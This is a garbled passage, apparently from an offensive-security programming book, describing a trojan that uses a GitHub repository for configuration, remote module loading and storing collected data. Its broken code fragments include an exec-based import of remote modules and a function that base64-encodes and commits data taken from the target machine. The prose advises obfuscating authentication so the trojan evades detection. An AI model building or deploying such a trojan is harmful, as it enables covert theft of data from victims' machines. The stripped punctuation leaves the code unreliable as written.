if task['module'not in sys modulesexec("import %stask['module']return config def store_module_result(data)gh,repo,branch connect_to_github(remote_path "data/% /% data(trojan_id,random randint( , )repo create_file(remote_path,"commit message",base encode(data)return these four functions represent the core interaction between the trojan and github the connect_to_github function simply authenticates the user to the repositoryand retrieves the current repo and branch objects for use by other functions keep in mind that in real-world scenarioyou want to obfuscate this authentication procedure as best as you can you might also want to think about what each trojan can access in your repository based on access controls so that if your trojan is caughtsomeone can' come along and delete all of your retrieved data the get_file_contents function is responsible for grabbing files from the remote repo and then reading the contents in locally this is used both for reading configuration options as well as reading module source code the get_trojan_config function is responsible for retrieving the remote configuration document from the repo so that your trojan knows which modules to run and the final function store_module_result is used to push any data that you've collected on the target machine now let' create an import hack to import remote files from our github repo